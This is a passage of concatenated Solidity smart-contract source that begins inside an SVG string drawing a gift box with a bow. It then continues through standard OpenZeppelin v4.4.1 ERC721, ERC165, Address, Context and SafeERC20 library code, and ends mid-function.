c5.47,13.21,7.48,28.8,17.24,39.65c6.32,6.29,14.1,10.86,23.21,10.15c86.1,1.76,171.95-5.69,257.55-12.87l151.62-17.38l1.08-1.02 c61.78-9.06,123-22.2,183.25-38.31c10.22-1.82,20.59-4.93,29.32-10.6C875.46,509.43,882.8,499.74,878.85,489.58z'/><path id='box-front' class='darkBox' d='M496.82,1045.16c-72.73,7.21-145.7,13.19-218.64,18.33c-8.74,0.58-17.48,1.18-26.23,1.65 c-11.46-0.09-23.63,2.86-34.8,0.23c-16.87-7.68-19.93-28.45-26.36-43.94c-4.78-13.31-9.28-26.75-13.42-40.29 c0.48-0.7,0.98-1.49,0.57-2.34c0.13-9.09,0.51-18.57,0.22-27.81c1.09-23.59,0.81-47.19,1.12-70.61 c-0.47-42.84,0.74-85.82,0.79-128.44c1.64-51.32,2.25-102.6,3.94-153.93c0.17-35.94-0.75-72.23,2.2-107.92 c6.54,18.19,11.73,37.2,18.22,55.51c5.45,13.21,7.49,28.8,17.24,39.65c6.35,6.28,14.07,10.86,23.21,10.15 c85.95,1.77,171.66-5.69,257.1-12.82c3.32,9.45,0.92,19.99,2.38,29.84c0.26,10.11,1.61,20.24,0.57,30.34 c1.44,31.25-1.57,62.88-0.57,94.24c0.59,58.75-0.48,117.73-3.94,176.44c0.22,30.92-1.68,62.02-1.45,93.09 c-0.38,10.36,0.21,20.8-0.36,31.16c-0.25,1.57-0.45,3.33,0.89,5.01C497.52,1042.55,496.98,1043.68,496.82,1045.16z M879.86,498.81c-3.95,126-10.27,252.08-17.18,377.97c-1.61,26.75-3.27,53.46-5.48,80.13 c-1.74,20.59-0.61,45.11-26.54,49.11c-72.25,12.88-145.43,20.17-218.37,27.79c-0.83-15.13,2.46-29.9,2.34-44.95 c-0.06-3.21-0.74-6.63,0.11-9.7c0.79-1.44,0.79-2.91-0.09-4.34c-0.26-0.42-0.5-0.89-0.1-1.26c2.02-1.91,1.65-4.23,1.15-6.61 c-0.71-7.41-0.22-15.04,0.01-22.56c0.9-39.24,1.49-78.43,2.69-117.65c1.38-51.3,1.53-102.22,1.01-153.58 c-0.11-3.45,1.15-6.87,0.56-10.32c-0.69-3.1-1.04-6.23-0.36-9.37c-0.61-13.71,0.89-27.57-0.53-41.17c0.2-12.9-0.98-25.81-0.94-38.74 c-0.16-1.38,0.5-3.17-0.99-3.92c0.15-0.16,0.31-0.32,0.46-0.48c65.9-8,131.4-20.25,195.69-36.89c14.3-4.54,29.64-5.81,43.33-11.64 C867.36,517.28,876.36,509.69,879.86,498.81z M163.46,413.91c-2.57,0.04-2.81,0.21-3.16,2.73c-2.04,5.48-1.64,11.35-1.36,17.13 c-0.26,13.13-0.49,26.19-0.57,39.32c0.79,38.03-0.19,77.1,0.05,115.53c-0.38,48.27-0.75,96.03-2.58,144.17 c0.18,7.47-0.31,14.98,0.58,22.27c-1.39,1.71,0.07,3.56-0.07,5.43c-0.68,18.03,1.29,36.78-0.32,54.41 c0.33,30.64-0.24,61.38-1.26,91.88c-5.17-15.99-9.27-32.28-14.1-48.41c-2.69-17.03-0.63-34.61-1.45-51.87 c-0.38-45.2-0.86-90.27-1.18-135.54c-0.31-119.41-3.25-239.01-2.22-358.4C144.37,346.31,153.66,380.47,163.46,413.91z'/><path id='bow' class='bow' d='M590.68,251.59c29.04-9.66,64.4-25.37,92.92-6.83c11.07,9.68,14.21,27.33,4.72,39.31 c-21.32,23.05-55.41,27.17-83.74,35.82c23.19,3.01,114.61,17.97,81.2,55.4c-28.9,19.61-74.94,13.02-107.53,6.67 c20.51,18.09,61.28,43.36,57.72,74.21l0.04-0.01c-12.62,35.09-51.07,16.97-70.96-1.18c-16.84-13.28-30.31-30.95-44.3-46.44 c4.66,33.8,18.26,146.34-45.53,115.75c-32.59-26.61-18.97-99.66-14.52-137.38c-28.56,33.34-61.57,70.94-106.58,80.84 c-35.1,4.44-53.17-29.84-32.06-57.44c19.35-27.35,48.29-45.6,75.36-64.16c-36.75,1.78-90.18,4.68-121.69-16.36 c-25.36-19.08-8.4-52.48,18.79-58.15c24.96-6.88,51.2-3.39,76.38,0.11c7.11,2.09,14.74,3.07,22,4.9c4.2,0.84,8.46,3.02,12.6,3.12 c-27.48-27.36-59.18-52.67-76.48-88.21c-13.91-25.9,4.95-56.62,34.89-48.65c27.94,9.87,46.07,36.28,63.91,58.32 c-6.73-31.97-15.13-65.69-7.66-98.34c5.55-27.03,35.78-40.89,52.25-13.96c24.38,43.05,23.38,117.62,24.31,166.94 c16.92-37.53,30.22-79.75,58.75-110.85c23.36-25.55,50.96,2.53,47.97,30.27c-2.44,32.65-21.78,60.86-39.52,87.06 c-0.48,0.06,0.01,0.5-0.02-0.02C572.88,259.41,581.72,254.98,590.68,251.59z M407.12,362.12c-0.4,0.02-0.74,0.15-0.95,0.52 c-25.96,16.45-55.73,35.55-71.94,62.27c-6.01,8.88-2.89,22.03,8.28,23.48c10.83,2.56,22.75-2.65,32-8.16 c32.68-16.43,85.27-71.08,95.29-106.22c-6.69,1.44-13.59,3.46-20.34,5.19c-14.51,6.8-29.05,14.03-42.36,22.93L407.12,362.12z M513.45,287.55c10.63-4.73,17.42-15.29,25.49-23.34c10.32-12.24,19.9-25.08,28.11-38.87c10.51-18.45,21.53-39.09,19.7-61.02 c-0.66-7.91-7.73-16.55-15.46-9.68c-25.33,22.17-43.23,71.74-56.03,103.2c-2.29,5.4-5.03,11.12-6.38,16.83 c-2.88,6.13-7.04,18.03-6.94,20.04C505.62,291.94,509.73,290.09,513.45,287.55z M578.78,405.6c-21.9-18.04-45.39-33.57-68.92-49.46 c1.76,13.22,11.93,21.96,19.13,32.49c15.84,20.33,32.58,40.2,52.79,56.22c8.45,6.14,17.5,12.99,28.32,13.34 c7.8-0.6,8.86-9.73,5.1-15.46C606.45,427.59,592.32,416.3,578.78,405.6z M657.55,284.64c10.83-3.31,28.96-19.39,14.01-29.17 c-9.21-3.89-19.44-2.73-29.05-1.3c-30.35,5.55-58.89,18.27-86.49,31.68c-14.24,7.15-28.62,13.93-39.6,25.75 c15.4,0.78,30.61,0.04,45.52-3.34l0.1,0.08C594.25,303.55,628.11,299.16,657.55,284.64z M336.71,328.68 c24.78,1.87,49.75,0.8,74.38-2.39c13.65-1.42,27.57-2.51,40.44-7.7c-20.24-17.64-91.93-32.66-119.86-33.29 c-14.66-0.22-30.34-0.13-43.55,7c-6.82,3.43-10.26,13.12-5.22,19.59c6.77,7.96,17.68,10.93,27.51,13.02 C318.84,327.16,327.95,328.15,336.71,328.68z M596.81,336.66c-28.33-4.01-57.35-7.77-86-4.24c26.93,20.41,61.58,31.17,94.95,36.3 c20.8,2.56,42.77,3.74,62.74-3.61C698.14,351.59,604.76,336.68,596.81,336.66z M417.96,266.92c9.37,9.26,19.88,17.48,29.85,26.15 c3.35,3.44,7.72,4.59,11.98,6.38c0.41,0.19,0.84,0.57,1.36-0.08c-17.62-45.09-43.35-88.36-77.55-122.91 c-8.99-8.09-19.39-17.38-32.06-17.42c-12.23,0.92-12.51,13.18-7.71,23.03C361.07,215.74,390.6,241.59,417.96,266.92z M478.32,261.22 c1.54-0.81,1.2-2.36,1.17-3.68c-0.25-12.76,0-25.53-0.53-38.31c-0.77-29.36-2.68-58.83-8.36-87.71 c-3.18-13.24-5.61-28.64-16.38-37.97c-18.39-7.29-20.77,22.37-20.23,34.7c-0.25,29.42,7.48,58.36,15.25,86.57 c5.43,18.83,12.15,37.3,19.48,55.41c2.67,6.8,5.68,13.46,8.94,19.99c0.19,0.39,0.26,1.03,0.97,0.74c0.21-9.48,0.76-18.98,0.6-28.48 C479.24,261.78,478.94,261.39,478.32,261.22z M484,356.17c-7.5,42.36-15.64,86.11-9.15,129.1c1.98,10.13,6.13,23.32,17.87,25 c16.28,0.42,14.76-50.59,14.03-62.52c-1.35-22.64-4.69-45.07-9.43-67.27C495.73,370.85,488.93,364.61,484,356.17z'/><path id='front-ribbon' class='frontRibbon' d='M617.15,569.62c1.49,0.68,0.83,2.62,0.99,3.92c-0.04,12.93,1.14,25.84,0.94,38.74 c1.42,13.6-0.08,27.46,0.53,41.17c-0.69,3.16-0.34,6.25,0.36,9.37c0.59,3.44-0.66,6.87-0.56,10.32c0.52,51.37,0.38,102.28-1,153.58 c-1.2,39.22-1.79,78.42-2.69,117.65c-0.23,7.52-0.72,15.14-0.01,22.56c0.51,2.38,0.87,4.7-1.14,6.61c-0.39,0.37-0.15,0.84,0.1,1.26 c0.88,1.44,0.88,2.91,0.09,4.34c-0.85,3.09-0.17,6.47-0.11,9.7c0.12,15.05-3.17,29.83-2.34,44.95 c-38.41,4.29-76.96,8.09-115.48,11.36c0.16-1.48,0.7-2.62,2.7-2.45c-1.34-1.68-1.14-3.44-0.89-5.01c0.57-10.36-0.03-20.8,0.36-31.16 c-0.22-31.06,1.67-62.16,1.45-93.09c3.47-58.71,4.53-117.68,3.94-176.44c-1-31.36,2-62.99,0.56-94.24 c1.04-10.1-0.31-20.23-0.57-30.34c-1.46-9.86,0.94-20.38-2.38-29.84C540.35,578.68,578.85,574.47,617.15,569.62z M186.22,490.1c-2.95,35.69-2.03,71.97-2.2,107.92c-1.7,51.32-2.3,102.61-3.94,153.93 c-0.05,42.62-1.25,85.6-0.78,128.44c-0.31,23.42-0.03,47.02-1.12,70.61c0.29,9.24-0.09,18.72-0.22,27.81 c0.41,0.85-0.09,1.63-0.57,2.34c-7.92-24.66-15.51-49.42-22.61-74.36c1.2-31.73,1.31-64.33,1.49-95.85 c0.87-26.25-0.47-52.17-0.42-78.13c1.83-48.14,2.21-95.9,2.58-144.17c-0.23-38.43,0.74-77.5-0.05-115.53 c0.08-13.13,0.31-26.19,0.57-39.32c-0.28-5.77-0.68-11.67,1.36-17.13c0.34-2.52,0.59-2.69,3.16-2.73 c7.73,24.32,13.7,49.55,22.64,73.29C186.14,488.17,186.18,489.13,186.22,490.1z' /><path id='top-ribbon-and-shadow' class='topRibbonAndShadow' d='M840.88,389.92c-8.93,1.32-17.93,0.15-26.82,0.11c-9.73,2.08-19.81,0.34-29.34,1.16 c-11.97,1.66-23.96,0.2-35.84,1.66c-5.85,0-11.85-0.08-17.45,1.27c-1.87,0.77-3.72-0.19-5.54-0.44c-3.85-1.04-7.3,1.57-11.24,0.5 c-4.5-0.77-8.89,2.4-13.51,1.19c-18.97,1.35-37.71,2.88-56.74,4.42c-7.62-0.25-0.64,4.75,0.74,8.18c5.7,8.4,9.19,18,11.94,27.73 c1.47,2.74-1.3,5.69,0.52,8.12c1.4,7.63-1.67,16.09-5.81,22.58c-6.75,9.34-23.43,14.38-33.89,8.77c8.95-2.88,15.12-10.27,18.13-19 c0,0-0.04,0.01-0.04,0.01c12.27-11.23-5.76-35.97-15.37-44.54c-5.3-5.04-8.44-10.26-16.36-8.44c-8.5-7.3-17.4-14.04-25.99-21.24 c32.56,6.36,78.64,12.94,107.53-6.67c25.11-25.89-20.3-43.02-40.73-47.53c9.87-6.91,37.4-21.25,34.3-35.26 c3.31-2.45,6.24-5.33,8.97-8.44c13.32,14.69-5.16,34.24-16.58,43.71c-1.05,1.15-7.75,4.57-3.88,5.35 c9.31-1.06,19.47-1.66,28.67-0.26c1.44,1.04,2.83,0.62,4.2-0.08c0.42-0.22,0.84-0.65,1.29-0.49c6.61,0.95,13.32-0.28,19.97,0.83 c31.18-2.83,62.94-1.91,94.23-3.33C824.93,349.62,833.04,369.77,840.88,389.92z M392.89,276.64c-0.85-2.25-1.48-4.57-2.06-6.9c1.05-0.49,2.21-0.32,3.3-0.54c4.13,3.11,7.48,7.1,11.35,10.56 C401.35,279.66,397.1,277.48,392.89,276.64z M502.43,582.54c-0.58-2.26,0.37-4.6-1.68-6.42c-1.58-8.38-5-16.58-7.54-24.84 c-2.06-4.44-1.34-11.27-6.85-13.12c-3.31-1.44-5.32-5.23-8.34-7.29c-1.2-1.02-3.77-5.52-2.81-6.58 c63.78,30.56,50.2-81.84,45.53-115.75c18.75,21.42,37.81,45.07,63.1,59.91c10.53,33.78,22.82,67.03,33.76,100.69 c-0.15,0.16-0.31,0.32-0.46,0.48C579,574.45,540.65,578.66,502.43,582.54z M318.74,454.19c-44.17,10.97-88.36,22.66-132.64,33.02c-8.79-24.09-15.58-49.53-22.66-74.28 c48.9-18.49,101.39-20.94,151.66-33.16c5.83-2.6,11.33,1.67,3.3-5.5c-6.59-1.71-10.87-6.7-15.43-11.38 c-1.89-1.72-1.25-4.8-3.26-6.42c-0.41-0.25-0.3-0.91-0.29-1.39c-0.23-2.72-2.16-4.92-1.65-7.77c0.22-1.8-1.04-3.64,0.42-5.1 c0.38-0.48,0.36-1.05,0.38-1.62c5.43,0.62,10.76,2.5,16.19,3.46c1.16,15.84,23.54,21.21,36.39,24.19c3.44,2.62,7.62,0.96,11.18,2.22 C339.55,390.03,297.74,420.43,318.74,454.19z M342.51,448.39c-43.12-15.83,47.8-77.39,64.61-86.27c4.68-0.68,9.83-1.41,14.6-2.33 c2.12-0.99-0.23-4.49-1.03-5.9c9.43-5.19,18.89-10.36,28.76-14.69c6.75-1.73,13.65-3.75,20.34-5.19 c-5.89,23.81-32.83,53.24-49.81,71.18c-13.86,13.13-28.21,26.57-45.48,35.04C363.83,442.53,353.07,445.48,342.51,448.39z M484,356.17c4.93,8.43,11.74,14.68,13.33,24.31c4.74,22.2,8.07,44.62,9.42,67.27 c0.78,11.87,2.17,63.07-14.03,62.52c-11.75-1.67-15.88-14.88-17.87-25C468.36,442.28,476.5,398.53,484,356.17z M454.55,446.01c-3.39,1.72-3.43,6.79-7.12,8.54c-1.81,2.52-4.5,4.14-6.19,6.82 c-0.31,0.61-0.91,1.05-1.7,1.14c-1.22,0.14-1.95,0.97-2.3,2.09c-2.64,3.49-6.51,6.64-10.18,9.12c-9.3,6.24-18.84,11.98-29.54,15.7 c-6.14,1.46-12.42,3.07-18.83,3.7c-6.13,0.41-11.97-1.38-18-2.11c-3.2-2.03-7.79-2.23-9.95-5.59c-5.75-4.39-9.95-10.51-10.11-17.97 c4.5,0.72,8.99,0.42,13.49,0.29c6.61,4.25,15.04,4.52,22.61,2.99c10.77-2.19,21.45-6.72,30.66-12.77c1.47-1.65,4.24-0.7,5.3-2.95 c2.89-4.85,10.18-5.63,12.27-11.16c1.88-0.79,2.69-2.76,4.15-3.95c1.86-1.08,2.16-3.39,3.88-4.51c2.49-1.7,2.6-5.06,4.65-7.06 c0.24-0.23,0.2-0.64,0-0.9c-0.22-0.29-0.55-0.2-0.86-0.09c-3.33,0.71-6.79,0.59-10.04,1.65c-1.42-0.02-2.82-0.04-4.09,0.76 c-0.53,0.34-1.2,0.39-1.74-0.18c14.66-12.78,27.3-28.25,39.78-42.66C457.77,406.59,455.33,426.21,454.55,446.01z M310.41,324.91c0.22-0.07,0.6-0.07,0.65-0.21c1.55-3.91,5.75-4.14,8.68-6.31c1.39-1.28,3.42-1.16,5.08-1.59 c2.39-1.55,5.23-2.79,7.94-3.5c23.66-5.67,48.2-6.72,72.07-2.99c-1.79-4.01-3.78-7.95-3.98-13.08c7.58,1.86,36.74,9.43,50.69,21.36 c-12.87,5.18-26.8,6.28-40.44,7.7c0.02-6.44-14.61-3.71-19.26-5.26c-11.69-0.91-23.19,0.14-34.8,1.72 c-6.85,1.93-14.11,2.35-20.32,5.92C327.95,328.15,318.83,327.16,310.41,324.91z M529.49,312.01c21.96-15.96,48.12-26.16,74.49-32.6c14.37-4.28,29.42-7.74,44.46-7.43 c1.19,0.22,2.51-0.12,3.72-0.42c2.18-0.53,4.22,0.62,6.48,0.27c4.67-0.01,9.72,1.16,14.01,2.51c-3.63,4.14-10.44,9.44-15.82,10.26 c-8.48,0.61-17.01,0.12-25.57,1.58c-16.63,2-33.08,6.69-48.73,12.87c-3.47,0.82-6.55,2.46-9.65,4.2c-3.78,1.12-7.62,2.63-10.74,5.03 l-0.11,0.05C551.49,310.12,540.33,312.11,529.49,312.01z M578.78,405.6c-5.44-0.14-10.57,2.18-15.95,1.97c-1.03,0.03-3.3-0.26-2.69,1.46 c2.96,8.49,6.2,16.96,9.55,25.31c-15.2-13.64-28.06-29.68-40.7-45.71c-7.21-10.53-17.36-19.26-19.14-32.49 C533.39,372.03,556.89,387.57,578.78,405.6z M417.96,266.92c9.14-0.89,18.27-1.78,27.41-2.68c6.43,11.04,11.28,23.21,15.78,35.12 c-0.53,0.66-0.95,0.28-1.36,0.09c-4.25-1.79-8.63-2.95-11.97-6.38C437.84,284.4,427.33,276.18,417.96,266.92z M465.87,262.37c2.58,0.39,13.12-2.74,13.36,0.09c0.16,9.5-0.39,19-0.6,28.48c-0.71,0.3-0.78-0.35-0.97-0.74 C473.29,281.15,468.93,271.97,465.87,262.37z M508.88,274.67c1.99,4.13,3.51,8.41,4.57,12.88c-3.72,2.53-7.83,4.39-11.51,7.15 C501.84,292.7,506.01,280.8,508.88,274.67z M596.81,336.66c7.87,0.01,101.32,14.92,71.69,28.45c-19.98,7.35-41.94,6.17-62.74,3.61 c-33.36-5.13-68.02-15.89-94.95-36.3c6.35-0.19,12.62-1.21,18.97-1.52c1.08,4.18,3.96,7.79,5.17,12.03 c0.57,1.64,1.22,1.87,2.78,1.45c2.25-0.61,4.72-0.02,6.87-1.28c0.36-0.21,0.93-0.03,1.4-0.06c13.21-1.63,26.58-3.39,39.96-4.83 c2.05-0.08,4.16,0.71,6-0.9C593.42,336.95,595.31,337.34,596.81,336.66z M342.51,448.39c10.56-2.9,21.32-5.86,32-8.16C365.26,445.74,353.34,450.95,342.51,448.39z'/></svg>"; string memory svg = preamble; svg = string(abi.encodePacked(svg, postamble)); return svg; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), 